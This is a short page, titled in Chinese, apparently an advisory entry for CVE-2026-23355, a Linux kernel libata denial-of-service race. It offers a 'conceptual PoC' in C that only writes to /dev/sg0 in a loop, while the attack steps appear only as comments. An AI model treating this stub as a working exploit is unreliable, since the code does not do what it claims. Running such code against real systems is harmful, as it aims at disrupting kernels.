CVE-2026-23355 Linux内核libata拒绝服务漏洞

// Conceptual PoC for CVE-2026-23355 // This requires a specific hardware setup and precise timing to trigger the race condition. #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <scsi/sg.h> #define DEVICE "/dev/sg0" // Example SCSI generic device int main() { int fd = open(DEVICE, O_RDWR); if (fd < 0) { perror("Failed to open device"); return 1; } printf("[+] Attempting to trigger race condition in libata...\n"); // Step 1: Send multiple NCQ commands (simulated) // Step 2: Send non-NCQ command to trigger deferred_qc // Step 3: Force timeout/error to clear deferred_qc without canceling work // Step 4: Reset port and send new commands // Step 5: Wait for old work to run and trigger WARN_ON // Note: Actual exploitation requires precise control over the ATA hardware layer. // This is a structural representation of the attack flow. for(int i = 0; i < 1000; i++) { // Simulated I/O operations write(fd, "data", 4); usleep(100); } close(fd); printf("[+] Done. Check dmesg for WARN_ON(ata_scsi_deferred_qc_work).\n"); return 0; }